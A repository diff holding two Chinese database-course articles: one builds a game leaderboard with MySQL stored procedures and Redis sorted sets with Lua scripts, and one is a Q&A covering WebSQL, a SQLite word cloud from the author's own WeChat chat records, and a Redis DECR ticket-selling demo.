上一篇文章中,我们使用Redis模拟了多用户抢票的问题,这里再回顾一下原理。我们通过使用WATCH+MULTI的方式实现乐观锁机制,对ticket_count这个键进行监视,当这个键发生变化的时候事务就会被打断,重新请求,这样做的好处就是可以保证事务对键进行操作的原子性,当然我们也可以使用Redis的incr和decr来实现键的原子性递增或递减。
|
||||
|
||||
今天我们用Redis搭建一个玩家的排行榜,假设一个服务器存储了10万名玩家的数据,我们想给这个区(这台服务器)上的玩家做个全区的排名,该如何用Redis实现呢?
|
||||
|
||||
不妨一起来思考下面几个问题:
|
||||
|
||||
1. MySQL是如何实现玩家排行榜的?有哪些难题需要解决?
|
||||
1. 如何用Redis模拟10万名玩家数据?Redis里的Lua又是什么?
|
||||
1. Redis如何搭建玩家排行榜?和MySQL相比有什么优势?
|
||||
|
||||
## 使用MySQL搭建玩家排行榜
|
||||
|
||||
我们如果用MySQL搭建玩家排行榜的话,首先需要生成10万名玩家的数据,这里我们使用之前学习过的存储过程来模拟。
|
||||
|
||||
为了简化,玩家排行榜主要包括3个字段:user_id、score、和create_time,它们分别代表玩家的用户ID、玩家的积分和玩家的创建时间。
|
||||
|
||||
### 王者荣耀英雄等级说明
|
||||
|
||||
这里我们可以模拟王者荣耀的英雄等级,具体等级标准如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/f1/4d/f10fb49dde602525a65270c6b2af884d.png" alt=""><br>
|
||||
如果想要英雄要达到最强王者的段位,那么之前需要积累112颗(9+12+16+25+25+25)星星,而达到最强王者之后还可以继续积累无上限的星星。在随机数模拟上,我们也分成两个阶段,第一个阶段模拟英雄的段位,我们使用随机数来模拟score(数值范围是1-112之间),当score=112的时候,再模拟最强王者等级中的星星个数。如果我们只用一个随机数进行模拟,会出现最强王者的比例变大的情况,显然不符合实际情况。
|
||||
|
||||
### 使用存储过程模拟10万名玩家数据
|
||||
|
||||
这里我们使用存储过程,具体代码如下:
|
||||
|
||||
```
|
||||
CREATE DEFINER=`root`@`localhost` PROCEDURE `insert_many_user_scores`(IN START INT(10), IN max_num INT(10))
|
||||
BEGIN
|
||||
DECLARE i INT DEFAULT 0;
|
||||
-- 模拟玩家英雄的星星数
|
||||
DECLARE score INT;
|
||||
DECLARE score2 INT;
|
||||
-- 初始注册时间
|
||||
DECLARE date_start DATETIME DEFAULT ('2017-01-01 00:00:00');
|
||||
-- 每个玩家的注册时间
|
||||
DECLARE date_temp DATETIME;
|
||||
SET date_temp = date_start;
|
||||
SET autocommit=0;
|
||||
|
||||
REPEAT
|
||||
SET i=i+1;
|
||||
SET date_temp = date_add(date_temp, interval RAND()*60 second);
|
||||
-- 1-112随机数
|
||||
SET score = CEIL(RAND()*112);
|
||||
-- 如果达到了王者,继续模拟王者的星星数
|
||||
IF score = 112 THEN
|
||||
SET score2 = FLOOR(RAND()*100);
|
||||
SET score = score + score2;
|
||||
END IF;
|
||||
-- 插入新玩家
|
||||
INSERT INTO user_score(user_id, score, create_time) VALUES((START+i), score, date_temp);
|
||||
UNTIL i = max_num
|
||||
END REPEAT;
|
||||
COMMIT;
|
||||
END
|
||||
|
||||
```
|
||||
|
||||
然后我们使用`call insert_many_user_scores(10000,100000);`模拟生成10万名玩家的得分数据。注意在insert之前,需要先设置`autocommit=0`,也就是关闭了自动提交,然后在批量插入结束之后再手动进行COMMIT,这样做的好处是可以进行批量提交,提升插入效率。你可以看到整体的用时为5.2秒。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/2d/5f/2d0a227b72da92e0ab79da59be28915f.png" alt="">
|
||||
|
||||
如上代码所示,我用score来模拟第一阶段的星星数,如果score达到了112再来模拟score2的分数,这里我限定最强王者阶段的星星个数上限为100。同时我们还模拟了用户注册的时间,这是因为排行榜可以有两种表示方式,第二种方式需要用到这个时间。
|
||||
|
||||
第一种表示方式为并列排行榜,也就是分数相同的情况下,允许排名并列,如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6e/2e/6edf318c5f4cbe7b48f6da3b65d2982e.png" alt=""><br>
|
||||
第二种为严格排行榜。当分数相同的时候,会按照第二条件来进行排序,比如按照注册时间的长短,注册时间越长的排名越靠前。这样的话,上面那个排行榜就会变成如下所示的严格排行榜。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6e/7e/6ec6befb0ffbc2a7a8682d309f96217e.png" alt=""><br>
|
||||
你能看到当10013和10015得分相同的时候,如果按照注册时间来进行排名的话,会将10013排到10015前面。
|
||||
|
||||
上面的数据仅仅为示意,下面我们用实际的10万条数据做一个严格排行榜(你可以点击[下载地址](https://github.com/cystanford/mysql_user_scores)下载这10万条数据, 也可以自己使用上面的存储过程来进行模拟)首先使用SQL语句进行查询:
|
||||
|
||||
```
|
||||
SELECT (@rownum := @rownum + 1) AS user_rank, user_id, score, create_time
|
||||
FROM user_score, (SELECT @rownum := 0) b
|
||||
ORDER BY score DESC, create_time ASC
|
||||
|
||||
```
|
||||
|
||||
运行结果如下(10万条数据,用时0.17s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/14/f8/14d88fd5293ac312e585ec05529473f8.png" alt=""><br>
|
||||
这里有几点需要说明。
|
||||
|
||||
MySQL不像Oracle一样自带rownum统计行编号的功能,所以这里我们需要自己来实现rownum功能,也就是设置MySQL的变量`@rownum`,初始化为`@rownum :=0`,然后每次SELECT一条数据的时候都自动加1。
|
||||
|
||||
通过开发程序(比如Python、PHP和Java等)统计排名会更方便,这里同样需要初始化一个变量,比如`rownum=0`,然后每次fetch一条数据的时候都将该变量加1,作为记录的排名。同时,开发程序也可以很方便地实现并列排名,因为程序可以进行上下文的统计,当两名玩家得分相同时,排名相同,否则排名会顺序加1。
|
||||
|
||||
如果想要通过SQL来实现,可以写成下面这样:
|
||||
|
||||
```
|
||||
SELECT user_id, score,
|
||||
IFNULL((SELECT COUNT(*) FROM user_score WHERE score > t.score), 0) + 1 AS user_rank
|
||||
FROM user_score t
|
||||
ORDER BY user_rank ASC
|
||||
|
||||
```
|
||||
|
||||
这样做的原理是查找比当前分数大的数据行数,然后加1,但是这样执行效率会很低,相当于需要对每个玩家都统计一遍排名。
|
||||
|
||||
## Lua是什么,如何在Redis中使用
|
||||
|
||||
知道如何用MySQL模拟数据后,我们再来看下如何在Redis中完成这一步。事实上,Redis本身不提供存储过程的功能,不过在2.6版本之后集成了Lua语言,可以很方便地实现类似存储过程的函数调用方式。
|
||||
|
||||
Lua是一个小巧的脚本语言,采用标准C语言编写,一个完整的Lua解析器大小只有200K。我们之前讲到过采用标准C语言编写的好处就在于执行效率高,依懒性低,同时兼容性好,稳定性高。这些特性同样Lua也有,它可以嵌入到各种应用程序中,提供灵活的扩展和定制功能。
|
||||
|
||||
### 如何在Redis中使用Lua
|
||||
|
||||
在Redis中使用Lua脚本的命令格式如下:
|
||||
|
||||
```
|
||||
EVAL script numkeys key [key ...] arg [arg ...]
|
||||
|
||||
```
|
||||
|
||||
我来说明下这些命令中各个参数代表的含义。
|
||||
|
||||
1. script,代表的是Lua的脚本内容。
|
||||
1. numkeys,代表后续参数key的个数。
|
||||
1. key就是我们要操作的键,可以是多个键。我们在Lua脚本中可以直接使用这些key,直接通过`KEYS[1]`、`KEYS[2]`来获取,默认下标是从1开始。
|
||||
1. arg,表示传入到Lua脚本中的参数,就像调用函数传入的参数一样。在Lua脚本中我们可以通过`ARGV[1]`、`ARGV[2]`来进行获取,同样默认下标从1开始。
|
||||
|
||||
下面我们通过2个例子来体会下,比如我们使用eval `"return {ARGV[1], ARGV[2]}" 0 cy 123`,代表的是传入的key的个数为0,后面有两个arg,分别为cy和123。在Lua脚本中,我们直接返回这两个参数`ARGV[1]`, `ARGV[2]`,执行结果如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/f8/76/f8b92089f5eed056fdf49eae53c2d576.png" alt=""><br>
|
||||
比如我们要用这一条语句:
|
||||
|
||||
```
|
||||
eval "math.randomseed(ARGV[1]); local temp = math.random(1,112); redis.call('SET', KEYS[1], temp); return 'ok';" 1 score 30
|
||||
|
||||
```
|
||||
|
||||
这条语句代表的意思是,我们传入KEY的个数为1,参数是score,arg参数为30。在Lua脚本中使用`ARGV[1]`,也就是30作为随机数的种子,然后创建本地变量temp等于1到112之间的随机数,再使用SET方法对KEY,也就是用刚才创建的随机数对score这个字段进行赋值,结果如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b5/be/b569fe5c81ae82bd8e38cc2a93df72be.png" alt=""><br>
|
||||
然后我们在Redis中使用`GET score`对刚才设置的随机数进行读取,结果为34。
|
||||
|
||||
另外我们还可以在命令中调用Lua脚本,使用的命令格式:
|
||||
|
||||
```
|
||||
redis-cli --eval lua_file key1 key2 , arg1 arg2 arg3
|
||||
|
||||
```
|
||||
|
||||
使用redis-cli的命令格式不需要输入key的个数,在key和arg参数之间采用了逗号进行分割,注意逗号前后都需要有空格。同时在eval后面可以带一个lua文件(以.lua结尾)。
|
||||
|
||||
## 使用Lua创建10万名玩家数据
|
||||
|
||||
如果我们想要通过Lua脚本创建10万名玩家的数据,文件名为`insert_user_scores.lua`,代码如下:
|
||||
|
||||
```
|
||||
--设置时间种子
|
||||
math.randomseed(ARGV[1])
|
||||
-- 设置初始的生成时间
|
||||
local create_time = 1567769563 - 3600*24*365*2.0
|
||||
local num = ARGV[2]
|
||||
local user_id = ARGV[3]
|
||||
for i=1, num do
|
||||
--生成1到60之间的随机数
|
||||
local interval = math.random(1, 60)
|
||||
--产生1到112之间的随机数
|
||||
local temp = math.random(1, 112)
|
||||
if (temp == 112) then
|
||||
--产生0到100之间的随机数
|
||||
temp = temp + math.random(0, 100)
|
||||
end
|
||||
create_time = create_time + interval
|
||||
temp = temp + create_time / 10000000000
|
||||
redis.call('ZADD', KEYS[1], temp, user_id+i-1)
|
||||
end
|
||||
return 'Generation Completed'
|
||||
|
||||
```
|
||||
|
||||
上面这段代码可以实现严格排行榜的排名,具体方式是将score进行了改造,score 为浮点数。整数部分为得分,小数部分为时间差。
|
||||
|
||||
在调用的时候,我们通过`ARGV[1]`获取时间种子的参数,传入的`KEYS[1]`为`user_score`,也就是创建有序集合`user_score`。然后通过num来设置生成玩家的数量,通过`user_id`获取初始的`user_id`。最后调用如下命令完成玩家数据的创建:
|
||||
|
||||
```
|
||||
redis-cli -h localhost -p 6379 --eval insert_user_scores.lua user_score , 30 100000 10000
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ba/94/ba8fcef75a2ea951dd31d9f7e266d094.png" alt="">
|
||||
|
||||
### 使用Redis实现玩家排行榜
|
||||
|
||||
我们通过Lua脚本模拟完成10万名玩家数据,并将其存储在了Redis的有序集合`user_score`中,下面我们就来使用Redis来统计玩家排行榜的数据。
|
||||
|
||||
首先我们需要思考的是,一个典型的游戏排行榜都包括哪些功能呢?
|
||||
|
||||
1. 统计全部玩家的排行榜
|
||||
1. 按名次查询排名前N名的玩家
|
||||
1. 查询某个玩家的分数
|
||||
1. 查询某个玩家的排名
|
||||
1. 对玩家的分数和排名进行更新
|
||||
1. 查询指定玩家前后M名的玩家
|
||||
1. 增加或移除某个玩家,并对排名进行更新
|
||||
|
||||
在Redis中实现上面的功能非常简单,只需要使用Redis我们提供的方法即可,针对上面的排行榜功能需求,我们分别来看下Redis是如何实现的。
|
||||
|
||||
### 统计全部玩家的排行榜
|
||||
|
||||
在Redis里,统计全部玩家的排行榜的命令格式为`ZREVRANGE 排行榜名称 起始位置 结束位置 [WITHSCORES]`。
|
||||
|
||||
我们使用这行命令即可:
|
||||
|
||||
```
|
||||
ZREVRANGE user_score 0 -1 WITHSCORES
|
||||
|
||||
```
|
||||
|
||||
我们对玩家排行榜`user_score`进行统计,其中-1代表的是全部的玩家数据,`WITHSCORES`代表的是输出排名的同时也输出分数。
|
||||
|
||||
### 按名次查询排名前N名的玩家
|
||||
|
||||
同样我们可以使用`ZREVRANGE`完成前N名玩家的排名,比如我们想要统计前10名玩家,可以使用:`ZREVRANGE user_score 0 9`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/2e/3c/2e87be9528653b388f8a3dabedfcf23c.png" alt="">
|
||||
|
||||
### 查询某个玩家的分数
|
||||
|
||||
命令格式为`ZSCORE 排行榜名称 玩家标识`。
|
||||
|
||||
时间复杂度为`O(1)`。
|
||||
|
||||
如果我们想要查询玩家10001的分数可以使用:`ZSCORE user_score 10001`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/74/95/742b794aa98bb9cf100cce8070a8f295.png" alt="">
|
||||
|
||||
### 查询某个玩家的排名
|
||||
|
||||
命令格式为`ZREVRANK 排行榜名称 玩家标识`。
|
||||
|
||||
时间复杂度为`O(log(N))`。
|
||||
|
||||
如果我们想要查询玩家10001的排名可以使用:`ZREVRANK user_score 10001`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c8/1f/c8a13f56fc4e151dd9804a9e317da91f.png" alt="">
|
||||
|
||||
### 对玩家的分数进行更新,同时排名进行更新
|
||||
|
||||
如果我们想要对玩家的分数进行增减,命令格式为`ZINCRBY 排行榜名称 分数变化 玩家标识`。
|
||||
|
||||
时间复杂度为`O(log(N))`。
|
||||
|
||||
比如我们想对玩家10001的分数减1,可以使用:`ZINCRBY user_score -1 10001`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a6/14/a644a5aa7019b1cb3b7602bca4749614.png" alt=""><br>
|
||||
然后我们再来查看下玩家10001的排名,使用:`ZREVRANK user_score 10001`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/51/54/51256aa0c27547ae508fc05049b2d554.png" alt=""><br>
|
||||
你能看到排名由17153降到了18036名。
|
||||
|
||||
### 查询指定玩家前后M名的玩家
|
||||
|
||||
比如我们想要查询玩家10001前后5名玩家都是谁,当前已知玩家10001的排名是18036,那么可以使用:`ZREVRANGE user_score 18031 18041`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/54/91/54eae0a13dea61d15752469c9d42e591.png" alt=""><br>
|
||||
这样就可以得到玩家10001前后5名玩家的信息。
|
||||
|
||||
**增加或删除某个玩家,并对排名进行更新**
|
||||
|
||||
如果我们想要删除某个玩家,命令格式为`ZREM 排行榜名称 玩家标识`。
|
||||
|
||||
时间复杂度为`O(log(N))`。
|
||||
|
||||
比如我们想要删除玩家10001,可以使用:`ZREM user_score 10001`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/fe/d4/fee0dc8d42ca239427fe136375bda0d4.png" alt=""><br>
|
||||
这样我们再来查询下排名在18031到18041的玩家是谁,使用:`ZREVRANGE user_score 18031 18041`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c0/85/c06a95d1ef82cd215698585a40d91b85.png" alt=""><br>
|
||||
你能看到玩家10001的信息被删除,同时后面的玩家排名都向前移了一位。
|
||||
|
||||
如果我们想要增加某个玩家的数据,命令格式为`ZADD 排行榜名称 分数 玩家标识`。
|
||||
|
||||
时间复杂度为`O(log(N))`。
|
||||
|
||||
这里,我们把玩家10001的信息再增加回来,使用:`ZADD user_score 93.1504697596 10001`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a3/37/a3586cd0a7819d01226e5daaf2234d37.png" alt=""><br>
|
||||
然后我们再来看下排名在18031到18041的玩家是谁,使用:`ZREVRANGE user_score 18031 18041`。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/18/ec/18de0c19c2dfb777632c8d0edd6e3bec.png" alt=""><br>
|
||||
你能看到插入了玩家10001的数据之后,排名又回来了。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我们使用MySQL和Redis搭建了排行榜,根据相同分数的处理方式,我们可以把排行榜分成并列排行榜和严格排行榜。虽然MySQL和Redis都可以搭建排行榜,但两者还是有区别的。MySQL擅长存储数据,而对于数据的运算来说则效率不高,比如统计排行榜的排名,通常还是需要使用后端语言(比如Python、PHP、Java等)再进行统计。而Redis本身提供了丰富的排行榜统计功能,不论是增加、删除玩家,还是对某个玩家的分数进行调整,Redis都可以对排行榜实时更新,对于游戏的实时排名来说,这还是很重要的。
|
||||
|
||||
在Redis中还集成了Lua脚本语言,通过Lua我们可以更加灵活地扩展Redis的功能,同时在Redis中使用Lua语言,还可以对Lua脚本进行复用,减少网络开销,编写代码也更具有模块化。此外Redis在调用Lua脚本的时候,会将它作为一个整体,也就是说中间如果有其他的Redis命令是不会被插入进去的,也保证了Lua脚本执行过程中不会被其他命令所干扰。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/9d/ed/9dddcb0e41e56fff740a1ddaec8e05ed.png" alt=""><br>
|
||||
我们今天使用Redis对10万名玩家的数据进行了排行榜的统计,相比于用RDBMS实现排行榜来说,使用Redis进行统计都有哪些优势呢?
|
||||
|
||||
我们使用了Lua脚本模拟了10万名玩家的数据,其中玩家的分数score分成了两个部分,整数部分为实际的得分,小数部分为注册时间。例子中给出的严格排行榜是在分数相同的情况下,按照注册时间的长短进行的排名,注册时间长的排名靠前。如果我们将规则进行调整,同样是在分数相同的情况下,如果注册时间长的排名靠后,又该如何编写代码呢?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
207
极客时间专栏/geek/SQL必知必会/第三章:认识DBMS/44丨DBMS篇总结和答疑:用SQLite做词云.md
Normal file
207
极客时间专栏/geek/SQL必知必会/第三章:认识DBMS/44丨DBMS篇总结和答疑:用SQLite做词云.md
Normal file
@@ -0,0 +1,207 @@
|
||||
<audio id="audio" title="44丨DBMS篇总结和答疑:用SQLite做词云" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/18/02/1860a27760780ddeceee9635fdc4d002.mp3"></audio>
|
||||
|
||||
在认识DBMS篇中,我们讲解了Excel+SQL、WebSQL、SQLite以及Redis的使用,这些DBMS有自己适用的领域,我们可以根据需求选择适合的DBMS。我总结了一些大家常见的问题,希望能对你有所帮助。
|
||||
|
||||
## 关于Excel+SQL
|
||||
|
||||
### 答疑1:关于mysql-for-excel的安装
|
||||
|
||||
Excel是我们常用的办公软件,使用SQL做数据分析的同学也可以使用Excel+SQL作为报表工具,通过它们提取一些指定条件的数据,形成数据透视表或者数据透视图。
|
||||
|
||||
但是有同学在安装mysql-for-excel-1.3.8.msi 时报错,这里感谢**同学莫弹弹**给出了解答。解决这个问题的办法是在安装时需要Visual Studio 2010 Tools for Office Runtime 才能运行。
|
||||
|
||||
它的下载链接在这里: [https://www.microsoft.com/zh-CN/download/confirmation.aspx?id=56961](https://www.microsoft.com/zh-CN/download/confirmation.aspx?id=56961)
|
||||
|
||||
## 关于WebSQL
|
||||
|
||||
我在讲解WebSQL操作本地存储时,可以使用浏览器中的Clear Storage功能。有同学问到:这里只能用户手动删除才可以吗?
|
||||
|
||||
事实上,除了在浏览器里手动删除以外,我们完全可以通过程序来控制本地的SQLite。
|
||||
|
||||
使用executeSql函数即可,在executeSql函数后面有两个function,分别代表成功之后的调用,以及执行失败的调用。比如想要删除本地SQLite的heros数据表,可以写成下面这样:
|
||||
|
||||
```
|
||||
tx.executeSql("DROP TABLE heros",[],
|
||||
function(tx, result) {alert('Drop 成功');},
|
||||
function(tx, error) {alert('Drop 失败' + error.message);});
|
||||
|
||||
```
|
||||
|
||||
第二个问题是,Session是什么概念呢?HTTP请求不是无状态的吗?
|
||||
|
||||
我在文章中讲到过SessionStorage,这里的Session指的就是一个会话周期的数据,当我们关闭浏览器窗口的时候,SessionStorage存储的数据就会被清空。相比之下localStorage存储的时间没有限制,一年之后数据依然可以存在。
|
||||
|
||||
HTTP本身是一个无状态的连接协议,想要保持客户端与服务器之间的交互,可以使用两种交互存储方式,即Cookie和Session。
|
||||
|
||||
Cookie是通过客户端保存的数据,也就是可以保存服务器发送给客户端的信息,存储在浏览器中。一般来说,在服务器上也存在一个Session,这个是通过服务器来存储的状态信息,这时会将浏览器与服务器之间的一系列交互称为一个Session。这种情况下,Session会存储在服务器端。
|
||||
|
||||
不过我们讲解的sessionStorage是本地存储的解决方式,它存放在浏览器里,借用了session会话的概念,它指的是在本地存储过程中的一种临时存储方案,数据只有在同一个session会话中的页面才能访问,而且当session结束后数据也会释放掉。
|
||||
|
||||
## 关于SQLite
|
||||
|
||||
第一个问题关于SQLite查找微信本地的聊天记录,有同学说可以导出聊天记录做个词云。
|
||||
|
||||
这是个不错的idea,我们既然有了SQLite,完全可以动手做个数据分析,做个词云展示。
|
||||
|
||||
我在《数据分析45讲》里讲到过词云的制作方法,这里使用Python+SQLite查询,将微信的聊天记录做个词云,具体代码如下:
|
||||
|
||||
```
|
||||
import sqlite3
|
||||
from wordcloud import WordCloud
|
||||
import matplotlib.pyplot as plt
|
||||
import jieba
|
||||
import os
|
||||
import re
|
||||
|
||||
# 去掉停用词
|
||||
def remove_stop_words(f):
|
||||
stop_words = ['你好', '已添加', '现在', '可以', '开始', '聊天', '当前', '群聊', '人数', '过多', '显示', '群成员', '昵称', '信息页', '关闭', '参与人', '还有', '嗯']
|
||||
for stop_word in stop_words:
|
||||
f = f.replace(stop_word, '')
|
||||
return f
|
||||
|
||||
# 生成词云
|
||||
def create_word_cloud(f):
|
||||
print('根据微信聊天记录,生成词云!')
|
||||
# 设置本地的simhei字体文件位置
|
||||
FONT_PATH = os.environ.get("FONT_PATH", os.path.join(os.path.dirname(__file__), "simhei.ttf"))
|
||||
f = remove_stop_words(f)
|
||||
cut_text = " ".join(jieba.cut(f,cut_all=False, HMM=True))
|
||||
wc = WordCloud(
|
||||
font_path=FONT_PATH,
|
||||
max_words=100,
|
||||
width=2000,
|
||||
height=1200,
|
||||
)
|
||||
wordcloud = wc.generate(cut_text)
|
||||
# 写词云图片
|
||||
wordcloud.to_file("wordcloud.jpg")
|
||||
# 显示词云文件
|
||||
plt.imshow(wordcloud)
|
||||
plt.axis("off")
|
||||
plt.show()
|
||||
|
||||
def get_content_from_weixin():
|
||||
# 创建数据库连接
|
||||
conn = sqlite3.connect("weixin.db")
|
||||
# 获取游标
|
||||
cur = conn.cursor()
|
||||
# 创建数据表
|
||||
# 查询当前数据库中的所有数据表
|
||||
sql = "SELECT name FROM sqlite_master WHERE type = 'table' AND name LIKE 'Chat\_%' escape '\\\'"
|
||||
cur.execute(sql)
|
||||
tables = cur.fetchall()
|
||||
content = ''
|
||||
for table in tables:
|
||||
sql = "SELECT Message FROM " + table[0]
|
||||
print(sql)
|
||||
cur.execute(sql)
|
||||
temp_result = cur.fetchall()
|
||||
for temp in temp_result:
|
||||
content = content + str(temp)
|
||||
# 提交事务
|
||||
conn.commit()
|
||||
# 关闭游标
|
||||
cur.close()
|
||||
# 关闭数据库连接
|
||||
conn.close()
|
||||
return content
|
||||
content = get_content_from_weixin()
|
||||
# 去掉HTML标签里的内容
|
||||
pattern = re.compile(r'<[^>]+>',re.S)
|
||||
content = pattern.sub('', content)
|
||||
# 将聊天记录生成词云
|
||||
create_word_cloud(content)
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c0/6b/c01ef48d13e80b5742248b9cf58cfb6b.png" alt=""><br>
|
||||
你在[Github](https://github.com/cystanford/SQLite)上也可以找到相应的代码,这个结果图是我运行自己的微信聊天记录得出的。
|
||||
|
||||
我来讲解下代码中相关模块的作用。
|
||||
|
||||
首先是`create_word_cloud`函数,通过聊天内容f,展示出词云。这里会用到WordCloud类,通过它配置本地的simhei字体(因为需要显示中文),设置显示的最大词数`max_words=100`,图片的尺寸width和height。
|
||||
|
||||
第二个是`remove_stop_words`函数,用来设置停用词,也就是不需要统计的单词,这里我设置了一些,不过从结果中,你能看到我们需要更多的停用词,要不会统计出一些没有意义的词汇,比如“撤回”“一条”等。
|
||||
|
||||
第三个是`get_content_from_weixin`函数。这里我们通过访问SQLite来访问微信聊天记录,首先需要查询数据表都有哪些,在微信的本地存储里每个数据表对应着一个聊天对象,然后我们对这些数据表中的message字段进行提取。
|
||||
|
||||
最后,因为统计出来的聊天记录会包括大量的HTML标签,这里我们还需要采用正则表达式匹配的方式将content中的HTML标签去掉,然后调用`create_word_cloud`函数生成词云,结果就是文稿中的图片所示啦。
|
||||
|
||||
第二个问题是,Navicat如何导入`weixin.db`呢?
|
||||
|
||||
事实上,使用Navicat导入`weixin.db`非常简单。首先我们需要创建SQLite连接,然后从本地选择数据库文件,这里选中`weixin.db`。
|
||||
|
||||
然后就导入到Navicat中了,你在左侧可以看到weixin的连接,然后打开main数据库就可以看到聊天记录的数据表了。
|
||||
|
||||
我制作了演示视频,可以看下。
|
||||
|
||||
<video preload="none" controls=""><source src="https://media001.geekbang.org/customerTrans/fe4a99b62946f2c31c2095c167b26f9c/5366112e-16d490a2068-0000-0000-01d-dbacd.mp4" type="video/mp4"><source src="https://media001.geekbang.org/0b5bd0228e9149cdb6965ef48f35b681/145dd2dd317949798ff8d62a9cafa6a6-a5a4cad5b88948f5722740a7b6a03596-sd.m3u8" type="application/x-mpegURL"><source src="https://media001.geekbang.org/0b5bd0228e9149cdb6965ef48f35b681/145dd2dd317949798ff8d62a9cafa6a6-560f782e2a1ba0c7731de809a5248c73-hd.m3u8" type="application/x-mpegURL"></video>
|
||||
|
||||
## 关于Redis
|
||||
|
||||
第一个问题,MongoDB、Redis之间有什么区别?实际使用时应该怎么选择呢?
|
||||
|
||||
Redis是Key-Value数据库,数据存放在内存中,查询和写入都是在内存中进行操作。当然Redis也支持持久化,但持久化只是Redis的功能之一,并不是Redis的强项。通常,你可以把Redis称之为缓存,它支持的数据类型丰富,包括字符串、哈希、列表、集合、有序集合,同时还支持基数统计、地理空间以及索引半径查询、数据流等。
|
||||
|
||||
MongoDB面向文档数据库,功能强大,是非关系型数据库中最像RDBMS的,处理增删改查也可以增加条件。
|
||||
|
||||
在存储方式上,Redis将数据放在内存中,通过RDB或者AOF方式进行持久化。而MongoDB实际上是将数据存放在磁盘上的,只是通过mmap调用,将数据映射到内存中,你可以将mmap理解为加速的方式。mmap调用可以使得对普通文件的操作像是在内存中进行读写一样,这是因为它将文件映射到调用进程的地址空间中,实现了文件所在的磁盘物理地址与进程空间的虚拟地址一一映射的关系,这样就可以直接在内存中进行操作,然后写完之后同步一下就可以存放到文件中,效率非常高。
|
||||
|
||||
不过在使用选择的时候,我们还是将 MongoDB 归为数据库,而将Redis归为缓存。
|
||||
|
||||
总的来说,Redis就像一架飞机,查询以及写入性能极佳,但是存储的数据规模有限。MongoDB就像高铁,在处理货物(数据)的功能上强于Redis,同时能承载的数据量远高于Redis,但是查询及写入的效率不及Redis。
|
||||
|
||||
第三个问题是,我们能否用Redis中的DECR实现多用户抢票问题?
|
||||
|
||||
当然是可以的,在专栏文章中我使用了WATCH+MULTI的乐观锁方式,主要是讲解这种乐观锁的实现方式。我们也可以使用Redis中的DECR命令,对相应的KEY值进行减1,操作是原子性的,然后我们判断下DECR之后的数值即可,当减1之后大于等于0证明抢票成功,否则小于0则说明抢票失败。
|
||||
|
||||
这里我给出了相应的代码,你也可以在[Github](https://github.com/cystanford/Redis)上下载。
|
||||
|
||||
```
|
||||
# 抢票模拟,使用DECR原子操作
|
||||
import redis
|
||||
import threading
|
||||
# 创建连接池
|
||||
pool = redis.ConnectionPool(host = '127.0.0.1', port=6379, db=0)
|
||||
# 初始化 redis
|
||||
r = redis.StrictRedis(connection_pool = pool)
|
||||
|
||||
# 设置KEY
|
||||
KEY="ticket_count"
|
||||
# 模拟第i个用户进行抢购
|
||||
def sell(i):
|
||||
# 使用decr对KEY减1
|
||||
temp = r.decr(KEY)
|
||||
if temp >= 0:
|
||||
print('用户 {} 抢票成功,当前票数 {}'.format(i, temp))
|
||||
else:
|
||||
print('用户 {} 抢票失败,票卖完了'.format(i))
|
||||
|
||||
if __name__ == "__main__":
|
||||
# 初始化5张票
|
||||
r.set(KEY, 5)
|
||||
# 设置8个人抢票
|
||||
for i in range(8):
|
||||
t = threading.Thread(target=sell, args=(i,))
|
||||
t.start()
|
||||
|
||||
```
|
||||
|
||||
最后有些同学感觉用Redis,最终还是需要结合程序以及MySQL来处理,因为排行榜展示在前端还是需要用户名的,光给个用户id不知道是谁,除非Redis有序集合的member包含了用户id和name。
|
||||
|
||||
这里,排行榜中如果要显示用户名称,需要放到有序集合中,这样就不需要再通过MySQL查询一次。这种需要实时排名计算的,通过Redis解决更适合。如果是排行榜生成之后,用户想看某一个用户具体的信息,比如地区、战绩、使用英雄情况等,可以通过MySQL来进行查询。而对于热点数据使用Redis进行缓存,可以解决高并发情况下的数据库读压力。
|
||||
|
||||
所以你能看到Redis通常可以作为MySQL的缓存,它存储的数据量有限,适合存储热点数据,可以解决读写效率要求很高的请求。而MySQL则作为数据库,提供持久化功能,并通过主从架构提高数据库服务的高可用性。
|
||||
|
||||
最后留两个思考题。
|
||||
|
||||
我在文稿中,使用SQLite对于微信聊天记录进行查询,使用wordcloud词云工具对聊天记录进行词云展示。同时,我将聊天记录文本保存下来,一共4.82M(不包括HTML标签内容),你可以使用SQLite读取微信聊天记录,然后看下纯文本大小有多少?
|
||||
|
||||
第二个问题是,我们使用Redis作为MySQL的缓存,假设MySQL存储了1000万的数据,Redis只保存有限的数据,比如10万数据量,如何保证Redis存储的数据都是热点数据呢?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
|
||||
|
||||
173
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/20丨当我们思考数据库调优的时候,都有哪些维度可以选择?.md
Normal file
173
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/20丨当我们思考数据库调优的时候,都有哪些维度可以选择?.md
Normal file
@@ -0,0 +1,173 @@
|
||||
